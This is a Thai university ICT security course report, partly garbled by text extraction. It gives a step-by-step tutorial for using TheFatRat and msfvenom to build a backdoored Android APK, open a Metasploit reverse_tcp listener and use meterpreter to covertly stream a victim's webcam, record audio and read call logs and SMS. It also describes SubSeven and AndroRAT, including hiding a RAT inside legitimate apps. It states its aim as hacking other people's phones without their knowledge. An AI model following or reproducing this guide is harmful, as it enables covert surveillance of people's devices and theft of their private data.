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มหาวิทยาลัยขอนแก่น 



1. วิชา 322376 ความมัน่คงเทคโนโลยีสารสนเทศและการส่ือสาร โดย อ.จักรชัย โสอินทร์ 

2. หลักการและเหตุผล ท าท าไม?  

ท ำให้เรำสำมำรถแฮกข้อมูล  แก้ไขข้อมูล และเพิ่มควำมสำมำรถให้กับตัวระบบของเรำได้ ตัวอย่ำงฟังช่ันท่ีมีประโยชน์ท่ีเรำ

ได้มำหลังจำกกำร ใช้ fatrat  เช่น กำรแฮคเปิดกล้องของคนอ่ืน  กำรแบบดูข้อมูลบนัทึกกำรโทรเขำ-ออก และ ข้อมูล sms ได้  

โดยท่ีเคร่ืองเป้ำหมำยไม่สำมำรถรู้ได้ 

3.วัตถุประสงค์  

 -ท ำกำร Hack android ของคนอ่ืน เพื่อท ำให้ตัวเองกลำยเป็น Adminstrator เพื่อท่ีจะท่ีสำมำรถแก้ไขไฟล ์ ตั่งค่ำกำรท ำงำน  

และดึงขอมูลภำยในเคร่ืองท่ี Hack ได้ 

4. มีคนท ำหรือยัง 2 คน/งำน; ภำพรวม จะท ำอะไร ประมำณไหน วำดภำพให้เห็นภำพ และ/หรือ อธิบำยเคร่ืองมือท่ีจะมำ

ปรับแต่ง ติดตัง้ให้เห็นภำพ (references) 

 

1. วิชำ 322376 ICT Security โดย อ.จักรชัย โสอินทร์  

2. ปัญหำกำรโจมตี ด้ำนเว็บมีควำมส ำคัญ มีค่ำสถิติ เสียหำยเท่ำไร  

3. จะศึกษำกำรโจมตี Web Security + จะติดตัง้วิธีกำรโจมตีแบบ man-in-the-middle 

4. งำนวิจัยท่ีเก่ียวข้อง 

 4.1 SubSeven   ควำมสำมำรถ : ท ำให้ก่อให้เกิดควำมเสียหำยเช่น ซ่อนเคอร์เซอร์คอมพิวเตอร์ เปลี่ยนกำรตัง้ค่ำ

ระบบ หรือโหลดขึน้เว็บไซต์ อีกทัง้ขโมยรหัสผ่ำนและรำยละเอียดบตัรเครดติ  

 4.2 AndroRAT ควำมสำมำรถ : ผู้ โจมตีสำมำรถขูดข้อมูลสว่นบุคคลจำกโทรศพัท์ท่ีใช้ AndroidAndroRAT สำมำรถ

เรียกดูบนัทึกกำรโทรของโทรศัพท์ตรวจสอบข้อควำม SMS และโทรถ่ำยภำพและโทรออก สำมำรถใช้เคร่ืองผูกแพคเกจ 

AndroRAT ลง app ท่ีถูกต้องตำมกฎหมำยท่ีมอง เช่น เกม Angry Birds เคร่ืองผูกค่ำใช้จ่ำย $ 37 ถึงซือ้ออนไลน์ขณะ 

AndroRAT เป็นแหล่งฟรี 

5. ภำพรวม  

- เคร่ืองมือท่ีใช้ VMware + Kali Linux 

 



5.ขัน้ตอนการติดตัง้และใช้งาน 

1.ดำวน์โหลดโปรแกรม โดยใช้ฟังก์ช่ัน Git ใน  Command ด้วยค ำสั่ง 

Git clone https://github.com/Screec/TheFatRat.git 

เสร็จแล้วย้ำย path ไปท่ี Folder ท่ีเรำโหลดไว้  

 

 

2.เสร็จแล้วไปท่ี Folder ท่ีเรำ set up ไว้ cd TheFatRat แล้วท ำกำรใช้ค ำสั่ง cd setup/ 

# chmod +x setup.sh && ./setup.sh เพื่อ setup Program 

  



3.ขัน้ต่อไปจะท ำกำรเปิด program FatRat โดยใช้ค ำสั่ง  

# Chmod +x fatrat 

# Chmod +x powerfull.sh 

# .fatrat 

 

 

4.น่ีคือฟังก์ชัน ท่ี fatrat ให้มำ ในกรณีจะใช้ ฟังก์ช่ันท่ี 01 คือฟังก์ช่ัน CREAT BACKDOOR WITH MSFVENOM 

 

 



5.หน้ำนีจ้ะให้เลือก ระบบปฏิบตัิกำร ในกรณีเลือก 3 ANDROID >> FatRat.apk 

 

 

6.เสร็จแล้ว Program จะให้ใส่ IP เคร่ือง(IP หำได้จำกค ำสั่ง # ifconfig) 

ในกรณีนี ้IP คือ 10.199.2.59 

ตัง้ Port:1111 เสร็จแล้ว 

ตัง้ช่ือไฟล์ท่ีเรำต้องกำร securitysec3 

 



7.ต่อไปจะท ำกำรเปิด Sever เพื่อรับ App ท่ีเรำสร้ำงไว้ และท ำกำรสง่ข้อมูลเข้ำไปโดยใช้ค ำสัง่ 

# msfconsole 

 

 

8.เสร็จแล้วก็ท ำกำร set payload android ท่ีเรำสร้ำงไว้   set payload android/meterpreter/reverse_tcp 

เสร็จแล้วท ำกำร set IP :10.199.2.59 และ set port:1111 

เสร็จแล้ว เปิดท ำกำรรับ progress: exploit 

  



9. เสร็จแล้วเหยื่อของเรำก็จะท ำกำร connect มำ  

เสร็จแล้วเปิดค ำสั่ง Help จะมีฟังก์ช่ันต่ำงๆให้เลอืก 

 

10.ในท่ีนีเ้รำจะยกตัวอย่ำงกำร กำรเปิด webcam โดยใช้ค ำสัง่ webcam_stream 

เพื่อแฮคเปิกกล้องของคนอ่ืนโดยท่ีเขำไม่รู้ตวั  ไม่สำมำรถตรวจสอบได้ และไม่สำมำรถปิดได้ 

  
 

 



ยกตัวอย่างฟังชันต่างๆท่ีโปรแกรมสามารถท าได้ 

รายช่ือฟังชันแต่ละหมวด 

 
 

 

 



 

 

 

 

 

 



 

 

 

รูปต่อไปเป็นค าส่ังเป็นค าส่ังท่ีเก่ียวกะ core meterpreter 

 



 

 

 

 

 



เรำขอข้ำมไป ท่ีค ำสั่งท่ีเก่ียวกับ andriod เลยนะครับ 

และส่วน รูปนีก็้เป็นค ำสั่งพืน้ฐำน ในcommand windows ท่ีเรำเรียนกันมำ 

 

 

 



อันนี ้ลองอ่ำนๆ dischap ดู

 

 

นีเ้ป็นกำร เช็ค process ท่ี Run อยุ่ปัจจุบนั 

 



 

 

นีเ้ป็นค ำสั่ง อัดเสียงเป้นเวลำ 10วิ 

 



 

ค ำสั่งเปิด webcam chat มันเปิดไม่ได้เพรำะโทรสบัไม่มี 

 

 

 



 

 

 

 



 

 

 

 



 

 


